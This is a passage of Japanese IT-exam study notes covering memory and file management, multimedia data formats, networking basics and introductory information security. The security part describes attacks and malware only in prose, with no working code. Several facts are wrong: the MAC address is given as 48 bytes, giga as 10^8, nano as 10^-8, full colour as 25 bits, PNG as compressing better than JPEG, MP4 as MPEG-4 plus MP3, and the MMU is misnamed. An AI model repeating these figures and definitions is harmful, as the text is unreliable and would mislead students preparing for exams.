  • 可変区画方式 … プログラムをロードするタイミングで必要なサイズに区切る管理方式。固定区画方式よりも主記憶の利用効率は良い。

フラグメンテーションとガーベジコレクション

可変区画方式の場合プログラムを主記憶上に隙間なく埋め込んで実行するとができるが、必ず詰め込んだ順番にプログラムが終了するとは限らないため連続した状態で主記憶の空き容量を確保することができない。 この現象はフラグメンテーション(断片化) と呼ばれる。

フラグメンテーションの解消のためにはロードされているプログラムを再配置することにより、細切れ状態の空き領域を連続したひとつの領域する必要がある。 この操作はメモリコンパクションまたはガーベジコレクションと呼ばれる。

スワッピング方式

スワッピング方式は優先度の低いプログラムを一時中断して補助記憶に退避させ優先度の高いプログラムを実行させる方式のこと。

スワッピングはプログラムを補助記憶に退避させる(スワップアウト)、**主記憶に戻す(スワップイン)**することを指す。

スワッピング

オーバレイ方式

区画を効率よく配置できるようにしても実行したプログラムのサイズが主記憶の容量を超えていたらロードができない。 これを可能にするような工夫がオーバレイ方式である。

この方式ではプログラムをセグメントという単位に分割しておいて、そのときに必要なセグメントだけを主記憶上にロードして実行される。

オーバレイ

3.4.3. 仮想記憶管理

仮想記憶は主記憶や補助記憶の存在を隠蔽し、広大なメモリ空間を自由に扱えるようにするもの。 実記憶上の配置のような物理的制約を意識する必要がないのが特徴。

また仮想アドレスから実アドレスへ変化する処理はメモリ交換ユニット(MMU)が行う。またこの仕組みは動的アドレス変換機構(DAT) と呼ばれる。

また仮想記憶に置かれたデータは主記憶装置を超えても補助記憶装置もメモリの一部として扱うことにより主記憶装置よりも大きなサイズの記憶空間を提供できる。

ページング方式

仮想記憶の実装方式には仮想アドレス空間を固定長の領域に区切って管理するページング方式可変長の領域に区切って管理するセグメント方式がある。

ページング方式ではプログラムをページと呼ばれる単位で分割管理する。現在のOSでは実行に必要なページだけを実記憶に読み込ませる方式が主流である。

またこの方式では仮想記憶と実記憶の対応付けはページテーブルという表により管理され、これにより仮想記憶上と実記憶上のどのページが結びついている確認できる。

補助記憶から実記憶へのページ読み込みはページインと呼ばれます。またページインしようとしても実記憶がいっぱいの場合いずれかのページを補助記憶に追い出して空きを作る必要がある。実記憶から補助記憶へとページを追い出すことはページアウトと呼ばれる。

実記憶の容量が少ないとページの置き換えをする頻度が高くなりシステム利用効率が極端に低下する。この現象はスラッシングと呼ばれる。

ページ置き換えアルゴリズム

方式説明
FIFO最初にページインしたページを追い出し対象にする
LIFO最後にページインしたページを追い出し対象にする
LRU最も長い時間参照されていないページを追い出し対象にする
LFU最も参照回数の少ないページを追い出し対象にする

3.5. ファイル管理

3.5.1. OSのファイル管理

OSはデータをファイルという単位で管理する。 ファイルはカテゴリごとにディレクトリ(フォルダ)という入れ物を使って整理する。

ルートディレクトリとサブディレクトリ

ディレクトリ中にはファイルだけではなく他のディレクトリも入れられる。 補助記憶装置全体に階層構造を持たせて管理することが可能である。

  • ルートディレクトリ … 階層の一番上位に位置するディレクトリ
  • サブディレクトリ … 他のディレクトリに含まれるディレクトリ

カレントディレクトリ

コンピュータが現在開いて作業しているディレクトリはカレントディレクトリと呼ばれる。 また、カレントディレクトリの1階層上のディレクトリは親ディレクトリと呼ばれる。

3.5.2. パスの指定

ファイルの場所はファイルパスを用いて示す。このファイルまでの場所を示す経路はパスと呼ばれる。

パスにはルートディレクトリからの経路を示す絶対パスとカレントディレクトリからの経路を示す相対パスが存在する。

絶対パスの表記

  1. ルートディレクトリは「/」or「\」で表す
  2. ディレクトリの次の階層は「/」or「\」で区分する

相対パスの表記

  1. ディレクトリの次の階層は「/」or「\」で区分する
  2. カレントディレクトリは「.」で表す
  3. 親ディレクトリは「..」で表す

3.5.3. コンピュータにおけるファイルの扱われ方

コンピュータにとってのファイルは一連のデータをまとめたものであり、レコードの集合がファイルである。

コンピュータのOSがどのようにレコードを格納するかを定義づけたファイル構成法をいくつか用意している。

ファイルへのアクセス方法

アクセス方式説明
順次アクセス先頭レコードから順番にアクセスする方法であり、シーケンシャルアクセスと呼ばれる。
直接アクセス任意のレコードに直接アクセスする方法であり、ランダムアクセスと呼ばれる。
動的アクセス順次アクセスと直接アクセスを組み合わせた方法で、任意のレコードに直接アクセスした後以降、順次アクセスで順番に処理する。

3.5.4. 順編成ファイル

先頭から順番にレコードを記録していくのが順編成ファイル。もっとも単純な編成法で順次アクセスのみが可能である。

3.5.5. 直接編成ファイル

レコード中のキーとなる値を利用することで任意のレコードを指定した直接アクセスを可能となる編成法。

直接アクセス方式と間接アクセス方式があり、キー値から格納アドレスを求める方法が異なる。

直接アクセス方式

キー値の内容をそのまま格納アドレスとして用いる方式。

間接アドレス方式

ハッシュ関数という計算式によりキー値から格納アドレスを算出して用いる方式。

またハッシュ関数での計算値が一致し異なるレコードが同じアドレスで衝突する現象はシノニムと呼ばれそれが起こるレコードはシノニムレコードと呼ばれる。

3.5.6. 索引編成ファイル

索引を格納する索引域とレコードを格納する基本データ域、そこからあふれたレコードを格納する溢れ域の3つの領域から構成される。

索引による直接アクセスと先頭からの順次アクセスに対応した編成法である。

3.5.7. 区分編成ファイル

メンバと呼ばれる順編成ファイルを複数持ち、それらを格納するメンバ域と各メンバのアドレスを管理するディレクトリ域で構成される編成法。

これはプログラムやライブラリを保存する用途によく使われる。

1.4 - 4.マルチメディア

文字/画像、音声などのマルチメディアデータに関して

4.1. ディジタルデータの表記

4.1.1. ビット(Bit)とバイト(Byte)の関係と単位

8bitをひとまとまりにした単位をByteとしている。 記憶容量等はByteを用いて表記される。

Image1

またByteの各単位系は以下の通りです。

記憶容量などの大きい数値を表す単位系

bit乗数単位
キロ(K)31KB=1024B
メガ(M)61MB=1024KB
ギガ(G)81GB=1024MB
テラ(T)121TB=1024GB

情報速度など小さい数値を表す単位系

bit乗数単位
ミリ(m)-3-
マイクロ(μ)-6-
ナノ(n)-8-
ピコ(p)-12-

4.2. 文字データの表現

4.2.1. 文字コード

文字コードは文字1つ1つにコードを振った一覧表のこと。 文字コードの種類には以下のような種類がある。

  • ASCII … 米国規格会が定めた基本的な文字コード、アルファベットと数字といくつかに記号のみを表し1文字7bitです
  • EBCDIC … IBMが定めた文字コードで1文字8bitで表し、大型コンピュータで用いられる
  • Shift-JIS … ASCIIの文字と混在させて使える日本語文字コード表。ひらがなや漢字、カタカナが使えます。windowsで使われており、1文字2Byteです
  • EUC … 拡張UNIXと呼ばれ、UNIX系のOSで使われる日本語文字コード表、1文字基本2Byte、補助漢字は3Byteで表される
  • Unicode … 全世界の文字コードを1つにしようとして作成された文字コード、現在は1文字4Byteで、ISOにより標準化された

4.2.2. フォントの種類

フォントは文字を統一されたデザインで表現できる余蘊強いた書体データのこと。

フォント

4.2.3. 文字の大きさを表す単位

ポイントは文字の大きさを指定するときに使う単位のこと。 1ポイントは1/72inchとなる。

4.2.4. ビットマップフォントの文字データ

ビットマップフォントはピクセル(画素)の集まりにより表現する。 画素の個数は画素数と呼ばれる。

解像度は一領域に対し画素をどれだけ表示できるかを示す単位のこと。 単位はdpiで表現され1inch(2.54cm)の中に画素が並んでいるかを表した数字となる。

4.3. 画像データの表現

4.3.1. 画像データの形式

ラスタ形式ベクタ形式がある。

形式

4.3.2. 画像データで表現できる色数

色数画像
2色白黒画像、1ドットにつき1bit
16色1ドットにつき4bit
256色1ドットにつき8bit
65535色1ドットにつき16bit
2^24(25ビット)フルカラー画像、1ドット24bit

4.3.3. 画像データの圧縮

画像データの圧縮には圧縮する前の情報に戻せる可逆圧縮と、元の状態には戻せない不可逆圧縮がある。

種類説明
BMP画像を圧縮せずにそのまま保存するファイル形式
JPEG画像圧縮保存形式、フルカラーが扱え圧縮率が高く、不可逆圧縮なため画質が劣化する
GIF画像圧縮保存形式、可逆圧縮であり、扱える色数が256色という制限がある
PNG画像圧縮保存形式、フルカラーが扱え可逆圧縮であり画像の劣化もない、圧縮率はJPEGが良い

4.4. 音声データの表現

4.4.1. アナログデータとディジタルデータ

アナログデータは波形一続きのデータで、ディジタルデータは波を数値で区切ったデータのこと。

4.4.2. 音声データのディジタルデータ

音声データはアナログ波形のデータであり、ディジタル化して数値表現する方式はPCMと呼ばれる。

PCMでは以下のステップでディジタル化を行う

  1. 標本化(サンプリング)
  2. 量子化
  3. 符号化

標本化

標本化はアナログデータを一定の単位時間で区切り、時間ごとの信号を標本として抽出する処理のこと。 サンプリング周波数はどの間隔で標本を得るか示すものである。

例:CDのサンプリング周波数が44100Hz,量子化ビット数が16ビットだとするとサンプリング周期は?

Ts = 1/44100

量子化

量子化はサンプリングしたデータを段階数に当てはめ整数値に置き換える処理のこと。 このときの量子化した段階の数を量子化ビット数と呼ぶ。

符号化

符号化は量子化で得たデータを2進数に直す処理のこと。

4.4.3. 音声データのファイル形式

種類説明
MP3音声を圧縮し保存する形式、人に聞こえないレベルの音を削減するなどをして不可逆の圧縮を行う
WAV録音したそのままの状態と同じ音質を保ったファイル形式、非圧縮
MIDIデジタル楽器の演奏データを保存できるファイル形式

4.5. 動画データの表現

4.5.1. クリッピング

クリッピングは特定の範囲を定義しそこからはみ出た範囲を表示しないようにする処理のこと。

4.5.2. 動画データの圧縮技術

動画等のマルチメディアデータはそのままであると膨大なデータ量となる。そのため通常は圧縮技術を用いてデータサイズを小さくし保存されるのが一般的である。

動画でよく用いられる圧縮方法はH.264/MPEG-4 AVCという圧縮方法で動画の変化した部分だけを送信することで少ないデータを送信できるというものである。

4.5.3. 動画データのファイル形式

種類説明
MPEG不可逆圧縮で動画を保存するファイル形式、ビデオCDにはMPEG-1、DVDにはMPEG-2、コンテンツ配信にはMPEG-4が用いられる
MP4MP4はMPEG4と音声のMP3を結合して格納しているファイルである

4.6. 3DCGデータの表現

3Dモデリングはコンピュータを使用して立体物データを計算して形成する技術のこと。

4.6.1. 3Dモデリングの用語

モーフィング

モーフィングはある状態からある状態に変化していく様子を表現するCG技法のこと。

ポリゴン

ポリゴンは立体の表面を形作る小さな多角形のことで、局面の最小単位のこと。3DCGではポリゴンの集まりで立体的な局面を表現する。

モーションキャプチャ

モーションキャプチャはセンサやカメラなどで人間などの動きをデータ化してコンピュータに取り込むこと。

1.5 - 5.ネットワーク

ネットワークの基本中のキホン

5.1. LANとWAN

5.1.1. LANとLANのアクセス制御方式

LAN

LANは狭い空間に構成される小さな構成のネットワークを指す。

CSMA/CD方式

CSMA/CD方式は回線が使用中か調べ、使用中でなければ送信する方式のこと。

CSMACD

LANの接続方式(トポロジ)

ネットワークトポロジー

トークンリングとトークンパッシング

リング型のLANの代表であるトークンリングはアクセス制御方式にトークンパッシングが採用されている。

トークンパッシング

無線LAN

物理的なケーブルを用いず、電波を用いて無線で通信を行うLANは無線LANであり、IEEE802.11として規格化されている。

電波が届く範囲であればどこでも繋げられますが、電波は盗聴される恐れがあるため暗号化などのセキュリティ対策が重要である。

5.1.2. WANとWANの技術

WAN

WANはLAN同士をつなぐ広域ネットワークのこと。 WANの利用にはNTTやKDDIといった電気通信事業者により提供されるサービスを利用する。

回線交換方式

回線交換方式では回線自体を交換機が繋ぎ通信路が固定される

パケット交換方式

パケット交換方式ではパケットという単位分割された通信データを交換機が回線へ送り出すことで通信路を形成する

5.1.3. WANの接続方式

種類説明
専用線拠点間を専用線で結ぶもの、高セキュリティだが高価
フレームリレ方式パケット交換方式をもとに伝送中の誤り制御を簡素化し高速化したもの。データ伝送単位は可変長フレームである
ATM交換方式パケット交換方式をもとにデータ転送単位を固定長のセル(53バイト)にすることで高速化を目指したもの、伝送遅延は小さい
広域イーサネットLANで使われるイーサネット技術を用いて接続するもの。高速かつコスト面のメリット大。近年主流の方式

5.2. 通信プロトコル

通信プロトコルはどのような手順で通信するかという取り決めのこと。 コンピュータ同士がやり取りするための規定プロコトルとも呼ばれる。

またプロコトルはたくさんの種類があり、7階層に分けたものはOSI基本参照モデルと呼ばれる。

5.2.1. OSI参照モデル

OSI

LAN装置とOSI参照モデル

LAN

ネットワークの伝送速度

ネットワークの伝送にかかる時間は下記式で求まる。

伝送時間 = データ量 / 回線速度

5.2.2. NIC

NIC(Network Interface Card)はコンピュータをネットワークに接続するための拡張カードでありLANボードとも呼ばれる。

役割としてはデータを電気信号に変換しケーブル上に流すことと受け取ることである。 また、IEEEにより規格化されたMACアドレスが振られており、世界中で自由重複しない番号で保障される。

MACアドレスは16進数表記で48バイトあり、先頭の24ビットが製造メーカ番号で、後ろの24ビットが製造番号を表す。

5.3. LAN間接続装置

5.3.1. LANで使用するネットワーク機器

リピータ

リピータは第1層(物理層)の中継機能を実現する装置である。 ケーブル中を流れる電気信号を増幅し、LANの延長距離を延ばす。

また、ネットワーク中につながっていてデータの流される範囲はセグメントであり、1つのセグメントに大量のコンピュータが繋がっている場合、パケット衝突が多発するようになり回線利用効率が低下する。

ブリッジ

ブリッジは第2層(データリンク層)の中継機能を実現する装置である。 セグメントの中継役として、流れてきたパケットのMACアドレス情報の確認と他方へのセグメントへパケットを伝送する。

ブリッジから転送される中継パケットはCSMA/CD方式であるため、衝突の発生が抑制されネットワーク使用効率が向上する。

ハブ

ハブはLANケーブルのポートを複数持つ集線装置である。

  • リピータハブ … リピータを複数束ねたものであり、パケットは無条件でポートへ流される
  • スイッチングハブ … ブリッジを複数束ねたものであり、パケットは宛先MACアドレスに該当するCPが繋がるポートのみに流される

ルータ

ルータは第3層(ネットワーク層)の中継機能を実現する装置である。 異なるネットワーク同士の中継役として、流れてきたパケットのIPアドレスを確認した後最適経路へパケットを転送する。

ルータは経路表(ルーティングテーブル)に基づいて、最適な転送先を選択する。これはルーティングと呼ばれる。

ゲートウェイ

ゲートウェイは第4層(トランスポート層)以上で異なるネットワーク間においてプロコトル変換による中継機能を提供する装置である。 ネットワーク間で使われるプロコトルの差異をこの装置が変換することで互いの接続を可能とする。

5.4. インターネットとプロトコル

5.4.1. TCP/IP

TCP/IPは第4層(トランスポート層)のTCPと第3層(ネットワーク層)のIPというプロトコルを組み合わせたものである。インターネットのデフォルトスタンダードとなっている。

IP

IPは経路制御を行い、ネットワーク間のパケット転送を行う。 なおコネクションレス(接続確認をとらない)型の通信であるため、通信品質は第4層プロトコルであるTCPやUDPに依存する。

5.4.2. TCPとUDP

TCP

TCP(Transmission Control Protocol)は通信相手とのコネクションを確立してデータを送受信するコネクション型のプロトコルである。 パケット順序や送信エラー時の再送などを制御し、送受信のデータの信頼性を保証する

UDP

UDP(User Datagram Protocol)は通信相手と事前に接続確認を取らずに一方的にパケットを送り付けるコネクションレス型の通信プロトコルである。 信頼性は欠けるが高速であり、映像配信サービスなどのリアルタイム性を重視する用途に適している。

5.4.2. TCP/IPのプロトコル

ネットワークの様々なサービスは第5層以降のプロコトルが提供する。 またそれらはプロコトルを処理するサーバにより提供される。

ポート番号

5.4.3. 電子メールの仕組み

電子メールはネットワーク上のメールサーバをポスト兼私書箱に見立て、テキストやファイルをやりとりする。 MIME(Multipurpose Internet Mail Extentions)という規格により、メールに様々なファイルを添付できるようになりました。

メールアドレス

メールアドレスはユーザ名とドメイン名で構成される。 ユーザ名とドメイン名は@で区切られる。

例:[email protected]

  • ドメイン名 ・・・ 住所にあたる情報
  • ユーザ名 ・・・ 名前にあたる情報

メール宛先の種類

電子メールは目的に応じて3種類の宛先を使い分けできる。

種類説明
TO宛先である相手のメールアドレスを記載する
CC一応見てほしい(返信不要)な相手のメールアドレスを記載する
BCC他者にわからない状態で一応見てほしい相手のメールアドレスを記載する

電子メールのプロトコル

  • SMTP … 電子メールを送信するプロコトル。SMTPに対応したサーバはSMTPサーバと呼ばれ、郵便ポストとメールの送信の役割を持つ
  • POPは … 電子メールをユーザが受信する際に使われるプロコトル。POPに対応したサーバはPOPサーバと呼ばれ、現在はPOP3がよく使われている。
  • IMAP … はPOPと同じく電子メールをユーザが受信する際に使われるプロコトル。POPと異なるのは送受信データはサーバで管理されるため、どのコンピュータからでも同じデータを参照できる。

MIME

MIMEは日本語などの2バイト文字や画像データなどのファイルの添付を行えるように、電子メールの機能を拡張したもの。 MIMEには暗号化や電子署名の機能を加えたS/MIMEという規格がある。

電子メールの文字化け

特定のコンピュータでしか表示できない文字は機種依存文字と呼ばれる。 メールなどでは機種依存文字の使用は避けられる。

5.5. WEB

5.5.1 WWW

WWW(World Wide Web)は多くの人が用いるサービスであり、「http://~」とアドレスを打ち込んだりして見るサービスのこと。 このサービスはWEBブラウザを用いて世界中にあるWEBサーバから文字や画像、音声、動画などを得ることができる。

5.5.2. HTTP

WEBの送受信にはHTTPが使用される。

インターネット

5.5.3. Webページの構成

URL

URL(Uniform Resource Locator)という表記を用いる。

url

HTML

WebページはHTML(HyperText Markup Language)により記述されている。

CSS

CSS(Cascade Style Sheat)はWebページのデザインやレイアウトを定義する言語。

5.5.4. Webの構成技術

CGI

CGI(Common Gateway Interface)はWebブラウザからの要求に応じ、Webサーバで外部プログラムを実行するために用いる仕組み。

CGI

Javaサーブレット

JavaサーブレットはJavaで書かれたプログラムを使用するWebアプリケーションのこと。

Javaアプレット

Javaアプレットはユーザのブラウザ上で動作するJavaで書かれたプログラムのこと。

JavaScript

JavaScriptは一般的にはWeb上に様々な動きを付けることができる言語のこと。

Ajax

AjaxはWebブラウザとWebページが非同期通信を行い、ページを更新することなく画面を更新する技術のこと。

5.6. IPアドレス

5.6.1. IPアドレス

IPv4アドレスは32ビットで表されるネットワーク上の住所であり、グローバルIPプライベートIP(ローカルIP)がある。この2つの関係は電話の外線と内線に似ている。

5.6.2. グローバルアドレスとプライベートアドレス

グローバルIPアドレス

グローバルIPアドレスはインターネットで用いるIPアドレスであり、NIC(Network Information Center)により管理される。

プライベートIPアドレス

プライベートIPアドレスはLAN内で用いれるIPアドレスであり、LAN内での重複が発生しなければシステム管理者が自由に割り当て可能。

5.6.3. IPアドレスの構成

IPアドレスの内容はネットワークアドレス部ホストアドレス部に分けられ、それぞれの関係は住所と名前に似ている。

  • ネットワークアドレス ・・・ どのネットワーク化を示す
  • ホストアドレス ・・・ どのコンピュータか示す

5.6.4. IPアドレスのクラス

IPアドレスはクラスA、クラスB、クラスCの3クラスに分かれており、それぞれ32ビットの内何ビットをネットワークアドレス部に振るかの規定となっている。

区分説明
クラスA0.0.0.0 ~ 127.255.255.255: 大規模ネットワーク用
クラスB128.0.0.0 ~ 191.255.255.255: 中規模ネットワーク用
クラスC192.0.0.0 ~ 223.255.255.255: 小規模ネットワーク用

5.6.5. ポート番号

IPアドレスではコンピュータの識別はできても、そのサーバプログラムに宛てたものかまでは特定できない。

そこでその接続口としてポート番号という0~65535までの接続口をプログラム上で用意される。

ウェルノウンポート

ウェルノウンポートは0~1023までのポートでよく使用されるサービスのため予約されているポート番号のこと。

5.6.6. ブロードキャスト

同一ネットワーク内の全てのホストに一斉に同じデータを送信することはブロードキャストと呼ばれる。

また特定の一台に送信することはユニキャスト、複数でなお且つ決められた範囲の複数ホストに送信する場合はマルチキャストと呼ばれる。

5.6.7. サブネットマスクによるネットワーク分割

小規模ネットワークのクラスCにおいては最大254台のホストを扱えます。そこまでホストがいらず、部門ごとにネットワークを分割するにはサブネットマスクを用います。

5.6.8. MACアドレスとIPアドレスの違い

データの配送はイーサネットが行い、近距離を繋ぐのに用いられるのがMACアドレス、中継はIPアドレスが行います。

MAC

5.6.9. DHCPの仕組み

DHCP(Dynamic Host Configuration Protocol) を用いるとIPアドレスの割り当てと言ったネットワークの設定作業を自動化することができる。

5.6.10. NATとIPマスカレード

NATやIPマスカレードはプライベートIPをグローバルIPに変換する技術であり、ルータに実装されている。

NAT

グローバルIPとプライベートIPを対で結び付けて相互に変換を行う。また同時にインターネット接続できるのはグローバルIPの数分のみである。

IPマスカレード(NAPT)

グローバルIPに複数のプライベートIPを結び付け、一対複数の変換を行う。IPアドレス変換時にポート番号を合わせ書き換えることで、1つのグローバルIPアドレスで複数のコンピュータが同時にインターネットに接続可能。

5.6.11. ドメイン名とDNS

ドメイン名はIPアドレスを文字で別名を付けたものである。 「www.yahoo.co.jp」などと記載される。

ドメイン名とIPアドレスを関連付け管理しているのがDNSサーバであり、ブラウザなどではドメイン名やIPアドレスをDNSサーバに尋ねると、それに応じたIPアドレスやドメイン名が返る。

5.7. ネットワーク伝送速度

5.7.1. データ伝送速度

通信速度は1秒間に何Bitのデータを送れるかを示したもの。 単位は**Bit/s(bps)**で示される。

5.7.2. データ伝送時間の計算方法

データ伝送時間 = データ伝送量 / (回線速度×回線利用率)

5.8. 誤り制御

5.8.1. データの誤り制御

データ誤りはビットがノイズや歪により、異なる値となることである。 データや誤りを確実に防ぐ方法はなく、パリティチェックやCRC(巡回冗長検査) などの手法により誤りを検出し訂正を行う。

5.8.2. パリティチェック

パリティチェックでは送信するビット列に対しパリティビットと呼ばれる検査用のビットを付加することでデータや誤りを検出する。

特徴として1ビットの誤りを検出することができるだけである。誤り訂正ができないという問題もある。

パリティ

5.8.3. 偶数パリティと奇数パリティ

偶数パリティ

ビット列中の1の数が偶数になるようにパリティビットをセットする。

奇数パリティ

ビット列中の1の数が奇数になるようにパリティビットをセットする。

5.8.4. 垂直パリティと水平パリティ

パリティビットはどの方向に付加するかにより、水平パリティと垂直パリティに分かれる。

垂直水平パリティチェック

垂直水平パリティチェックであればどのビット位置が誤りであるか検出することができる。ただし2Bit以上のビット誤りが発生いs多場合は誤りが検出できない場合がある。

垂直

5.8.5. CRC(巡回冗長検査)

CRCはビット列を特定の式(生成多項式)で割り、余りをチェック用のデータとして付加する手法。 この方式ではデータ誤り訂正はできないが、連続したビット誤りなどを検出することが可能である。

5.8.6. ハミング符号方式

ハミング符号方式は同一データに複数の方法でチェックコードを付ける方法のこと。

5.8.7. チェックディジット

チェックディジットは元のコードに負荷される数字や文字のことでコードの入力値が間違っていないか確かめるために使用される。

1.6 - 6.セキュリティ

情報セキュリティのキホン

6.1. 情報セキュリティ

6.1.1. セキュリティマネジメントの3要素

情報セキュリティでは3つの要素を管理してうまくバランスさせることが必要とされる。

  • 機密性 … 情報が漏洩しないようにする
  • 完全性 … 情報が書き換えられず完全な状態を保つようにする
  • 可用性 … 利用者が必要なときに必要な情報を使用できるようにする

6.1.2. 情報セキュリティマネジメントシステム

情報セキュリティマネジメントシステムはJIS Q 27000として用語を定義したもの。

  • 真正性 … 利用者やシステムの振る舞いが明確であり、なりすましや偽情報でないことを証明すること
  • 信頼性 … システムが意図したとおりに確実に動くこと
  • 責任追跡性 … 情報資産に行われた操作について、ユーザと動作を一意に特定でき過去に遡って追跡できること
  • 否認防止 … ある活動または出来事が発生したとき、操作が行われた事実や発生した事象を証明できること

6.1.3. セキュリティポリシ

組織としてセキュリティに関してどう取り組むかを周知するものはセキュリティポリシとなる。

  • 基本方針 … 情報セキュリティに対して組織での基本方針を定める
  • 対策基準 … 基本方針を実現するために行う対策や基準を定める
  • 実行手順 … 日々の業務でどのように実施するか具体的な手順を定める

6.2. 情報資産における脅威

情報資産を取り巻く脅威には技術的脅威人的脅威物理的脅威の3種類がある。

6.2.1. 技術的脅威

種類説明
パスワードリスト攻撃どこかから入手したIDとパスワードのリストを用いて他のサイトへのログインを試みる手法
ブルートフォース攻撃特定のIDに対し、パスワードとして使える文字の組み合わせを片っ端から試す手法で、総当たり攻撃と言われます
リバースブルートフォースト攻撃ブルートフォース攻撃の逆でパスワードが固定でIDを片っ端から試す手法です
レインボー攻撃ハッシュ値から元のパスワード文字列を解析する手法
SQLインジェクションユーザの入力をデータベースに問い合わせ処理を行うWebサイトで悪意あのある問い合わせや操作を行うSQL文を埋め込みデータベースのデータの改ざんや不正取得を行う手法
DNSキャッシュポイズニングDNSのキャッシュ機能を悪用し偽のドメインを覚えさせることで、偽装サイトへ誘導する手法

人的脅威

種類説明
ソーシャルエンジニアリング人間の心理の隙をついて情報を盗む行為のこと
なりすまし盗んだIDやパスワードを使用して、ネットワーク上でその人のふりをすること
サラミ法不正行為が表面化しない程度に多数の資産から少しづつ詐取する方法

物理的脅威

物理的脅威は天候や地震などの災害、またはコンピュータの故障など、コンピュータが物理的に損害を受けて情報を失う脅威のこと。

6.3. リスクアセスメント

6.3.1. リスクとリスクアセスメント

  • リスク … 様々な脅威が発生する可能性のこと
  • リスクアセスメント … どんなリスクがあるのか洗い出し、発生する可能性のある損害を明らかにしたうえで対応策を考えること

6.3.2. リスク対策

リスクの対策には以下の方法がある。

種類説明
リスク回避リスクの原因を排除すること
リスク移転(リスク共有)リスクを他人に肩代わりしてもらうこと
リスク軽減リスクによる損失を許容範囲内に軽減させること
リスク保有対策をしないでリスクをそのままにしておくこと

6.3.3. セキュリティパイデザイン

セキュリティパイデザインはシステムの規格/設計の段階からセキュリティを確保するためのセキュリティ対策を検討すること

6.3.4. 情報セキュリティマネジメントシステム(ISMS)

情報セキュリティマネジメントシステム(ISMS)は情報セキュリティ維持のため、組織が情報を適切に管理し機密を守るための仕組みを確立し、継続的な運用/改善をしていくこと。 ISMSの確立手順は以下の流れで行う。

  1. リスクの分割
  2. リスクの評価
  3. リスク対応のための管理目的/管理策の選択
  4. 適用宣言書の作成

6.4. コンピュータウィルス

6.4.1. コンピュータウィルスの定義

コンピュータウィルスは以下の3つの基準のうち1つを満たすとコンピュータウィルスと定義づけられる。(経産省基準)

  • 自己伝染機能
  • 潜伏機能
  • 発病機能

6.4.2. コンピュータウィルスの種類

種類説明
狭義のウィルス他のプログラムに寄生し、その機能を利用する際に発病するもの
マクロウィルスアプリケーションのもつマクロ機能を悪用したものでデータファイルに寄生し感染を広げる
ワーム事故単身で複製を生成し、ネットワークを介し感染を広めるものであり作成が容易である
トロイの木馬有用なプログラムであるように見せかけて、実行をユーザに促しその裏で不正な処理を行うもの

マルウェア

種類説明
スパイウェア情報収集を目的としたプログラムで、個人情報を収集し外部に送信する
ボット感染したコンピュータをボット制作者の指示通りに動かすものである

C&Cサーバ

C&Cサーバはボットネットは以下にあるコンピュータに指令を送るサーバのこと。ボットネットはウィルスに感染したコンピュータ群で構成されたネットワークのこと。

6.4.3. コンピュータウィルスへの対策

ウィルス対策ソフト

ウィルス対策ソフトはコンピュータに入ったデータをスキャンし、データに問題がないかをチエックする。

ウィルス対策ソフトがウィルスを検出するためには既知のウィルス情報を記したウィルス定義ファイルが必要であり、これを常に最新状態に保つことが重要である。

パターンマッチング方式

既知のウィルス情報(シグネチャーコード)を使用してウィルスの検知や駆除を行う方法はパターンマッチング方式と呼ばれる。

ビヘイビア法(動的ヒューリスティック法)

ビヘイビア法は実行中のプログラムの挙動を監視して、不審な処理が行われていないか検査する方法であり、未知のウィルスを検出できる。

方法としては監視下で直接実行させて不審な動きがあるプログラムは即座に停止させ、仮想環境でも実行させて危険な行動か監視する。

6.5. 暗号化と認証

6.5.1. データの暗号化

暗号化はデータを第三者に解読できない暗号文に変換する方法のこと。 復号は暗号化したデータをもとに戻すことをいう。

6.5.2. 共通鍵暗号方式と公開鍵暗号方式

共通鍵暗号方式

共通鍵暗号方式は送り手と受け手が同じ鍵を用いる暗号化方式

公開暗号化方式

公開鍵暗号方式は公開鍵という公用の鍵を持ち、公用鍵は公開して暗号化し、複合には秘密鍵を用いる方式

共通鍵暗号方式よりも暗号化や復号に大変時間がかかる特徴がある。

6.5.3. ディジタル署名

暗号化にはデータ全体を暗号化するのではなく、ハッシュ化という手法で短い要約データ(メッセージダイジェスト)を作成しそれを暗号化することでディジタル署名とする。

元データが同じ場合、ハッシュ関数は必ず同じメッセージダイジェストを生成するため、復号結果と受信したデータから新たに取得したメッセージダイジェストを比較して一緒であれば改ざんしていないと言える。

6.5.4. CA(認証局)

認証局(CA)は公開鍵がその本人のものであるか証明する機関のこと。

認証局に公開鍵を登録し、登録した鍵によりその身分を保証するという仕組みとなる。 この認証機関と公開鍵暗号技術を用いて通信の安全性を保証する仕組みは公開鍵基盤(PKI) と呼ばれる。

6.5.5. SSL

SSLはサーバとクライアント間の通信を暗号化するプロトコルのこと。

6.6.6. IPSec

IPsecはインターネットで暗号通信を行うためのネットワーク層で動作するプロトコルの総称AHESPの2種類がある。

種類説明
AHパケットが改ざんされていないか認証を行う
ESPペイロードと呼ばれる通信内容部分を暗号化し認証や暗号化情報を付与する

6.6.7. S/MIME

S/MIMEは電子メールの公開鍵暗号方式による暗号化とディジタル署名について定めた規格。この仕組みにより確かな送信者からのメールであることと改ざんされていないことを保証できる。

6.6. ネットワークセキュリティ

6.6.1. ユーザ認証

コンピュータシステムの利用にあたりユーザ認証を行うことでセキュリティを保つ。

ユーザ認証をパスしてシステムを利用可能な状態にすることはログイン、システムの利用を終了しログイン状態を打ち切ることはログアウトと呼ばれる。

ユーザ認識の手法

認証手法説明
ユーザIDとパスワードによる認証ユーザIDとパスワードの組み合わせを用いて個人を識別する認識方法である。
CAPTCHA認証一部をゆがめた画像から文字を認識して入力させる技術
バイオメトリクス認証指紋や声帯や虹彩などの身体的特徴を使って個人を認証する方法であり、生体認証とも呼ばれる。
ワンタイムパスワード一度限り有効な使い捨てのパスワードを用いる認証方法。
コールバックサーバに接続する場合、いったんアクセスした後に回線を切り、逆にサーバからコールバックさせることでアクセス権を確認する認証方法。

6.6.2. ネットワークのセキュリティ対策

ファイヤーウォール

LANの中と外を仕切る役割をするのがファイヤーウォールであり、機能のことを指すため定まった設置方法はない。 ファイヤウォールを設置するとDMZと呼ばれる内部ネットワークと外部ネットワークの間にどちらからも隔離されたネットワークができる。

実現方法にはパケットフィルタリングアプリケーションゲートウェイがある。

パケットフィルタリング

パケットフィルタリングではパケットのヘッダ情報を見て、通過の可否を判定する。 通常アプリケーションが提供するサービスはプロコトルとポート番号で区別されるため、通過させるサービスを選択することとなる。

アプリケーションゲートウェイ

アプリケーションゲートウェイはプロキシサーバとも呼ばれ外部とのやり取りを代行して行う機能である。

通信する側から見るとプロキシサーバしか見えないため、LAN内のコンピュータにが不正アクセスの標的になることを防ぐことができます。

